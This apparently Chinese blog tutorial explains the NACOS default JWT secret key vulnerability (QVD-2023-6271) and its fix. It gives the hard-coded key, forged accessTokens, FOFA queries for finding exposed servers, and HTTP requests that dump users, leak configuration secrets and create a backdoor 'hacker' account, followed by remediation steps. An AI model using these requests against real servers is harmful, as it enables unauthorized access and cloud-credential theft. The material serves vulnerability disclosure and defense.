漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

  1. 原理

  2. 危害

  3. 攻击

    1. 资产发现

    2. 漏洞利用

  4. 防御

1、原理

NACOS[1],/nɑ:kəʊs/,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

在 <=2.2.0<=1.4.4的版本中,NACOS的配置文件conf/application.properties存在默认密钥nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

9b18fd23c372a43f616d366300a66a3d.png

该密钥用于加密用户帐号,生成用户登陆后的身份令牌accessToken,类型是JWT[2](JSON Web Token)。

攻击者可以使用默认密钥和常见帐号生成身份令牌,从而绕过身份认证,直接获得NACOS的访问权限。

2、危害

攻击者获得NACOS的访问权限后,会查看NACOS管理的所有配置文件,翻找里面的帐号密码,例如云服务的AKSK、Java程序的JDBC,从而获得对应服务的访问权限。

3、攻击

3.1、资产发现

搜索资产

FOFA[3]app="NACOS"

查看版本

# 请求地址

/nacos/v1/console/server/state

# 响应示例

{"version":"2.2.0","standalone_mode":"standalone","function_mode":null}

0659269eb70ca5f2e19cde69cc84cc40.png

3.2、漏洞利用

部署服务

1、下载地址:2.2.0 (Dec 14, 2022)[4]、1.4.4 (Aug 8th, 2022)[5]

2、打开鉴权开关:将配置文件conf/application.properties中的 nacos.core.auth.enabled设置为on

cca8f96ad66485788f3166379a23d485.png

3.1、Linux中部署:配置环境变量export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-amd64、开启服务bash bin/startup.sh -m standalone、关闭服务 bash bin/shutdown.sh

7ae6c7484e7b6d0f186973e8a8bf348c.png

3.2、Windows中部署:配置环境变量此电脑 - 属性 - 高级系统设置 - 高级 - 环境变量 – JAVA_HOME= C:\Program Files\Java\jdk1.8.0_361、开启服务bin/startup.cmd-m standalone、关闭服务bin\shutdown.cmd 

cff6cdfd621691bccaacffb11badddff.png

生成accessToken

生成地址:JWT官网[6]

关键参数:

1、常见帐号:例如nacos、nac0s、nacosss、nacos1、admin

2、默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789

其他参数:

3、签名算法:HS256(HMAC SHA256,JWT默认)

4、过期时间:在Linux中使用命令date +%s -d '2024-03-10 00:00:00'生成过期时间

5、是否启用Base64编码:是(NACOS建议)

6e15368348952c374f4c158472b7a679.png

bf016841a56b4fdf64a2329f9c4d80c7.png

查看帐号:常用于渗透测试或漏洞扫描,证明漏洞存在。

# 请求地址(GET)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74 &pageNo=1&pageSize=9&search=accurate

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

92a5ad52b042b0a935c58c7c565d23af.png

查看配置:常用于红蓝对抗,翻找帐号密码,获取更多权限。

# 请求地址(GET)

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"id":"740458855550423040","dataId":"aliyun.yaml","group":"DEFAULT_GROUP","content":"aliyun:\n    access-key-id: RzRRFE5tQqsxAieELkMDLTAI\n    access-key-secret: 52dW2iDdPzmddUBEDlKHej5uYddK89","md5":null,"encryptedDataKey":null,"tenant":"","appName":"","type":"yaml"}]}

e4947f9f744cf0911b239b5e496d42be.png

创建帐号,登陆后台,查看配置:同红蓝对抗场景。

# 请求地址(POST)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwOTk5MTEwOX0.h2WWx4rr9_pxbYzRe2Psrw5JDY3mKzXiUK-FhMKCkto&username=hacker&password=123456

# 响应示例

{"code":200,"message":null,"data":"create user ok!"}

5680e65114f2c4aea480183f49005d4c.png

3ca2e37de9805d3e6cfcd4775fc60bdf.png

4、防御

生成身份令牌accessToken需要两个关键参数:用户帐号、加密密钥。只需将默认的加密密钥修改掉,攻击者就无法伪造身份令牌,从而修复该漏洞。

以下内容参考Nacos 文档[7]中的自定义密钥部分,以及关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告[8]

修改默认密钥的位置

配置文件:conf/application.properties

默认密钥:

### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

### 2.1.0 版本后    

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

修改默认密钥的注意事项

1、原始密钥长度不得低于32字符,推荐将原始密钥进行Base64编码,例如:

### 原始密钥(刚好32字符)

ThisIsMyCustomSecretKey012345678

### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

### 2.1.0 版本后

nacos.core.auth.plugin.nacos.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

2、鉴权开关是修改之后立马生效的,不需要重启服务端。

3、动态修改token.secret.key时,请确保token是有效的,如果修改成无效值,会导致后续无法登录,请求访问异常。

4、密钥需要保持节点间一致,长时间不一致可能导致403 invalid token错误。

参考资料

[1]

NACOS: https://nacos.io

[2]

JWT: https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

[3]

FOFA: https://fofa.info

[4]

2.2.0 (Dec 14, 2022): https://github.com/alibaba/nacos/releases/tag/2.2.0

[5]

1.4.4 (Aug 8th, 2022): https://github.com/alibaba/nacos/releases/tag/1.4.4

[6]

JWT官网: https://jwt.io

[7]

Nacos 文档: https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

[8]

关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告: https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

  • 26
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值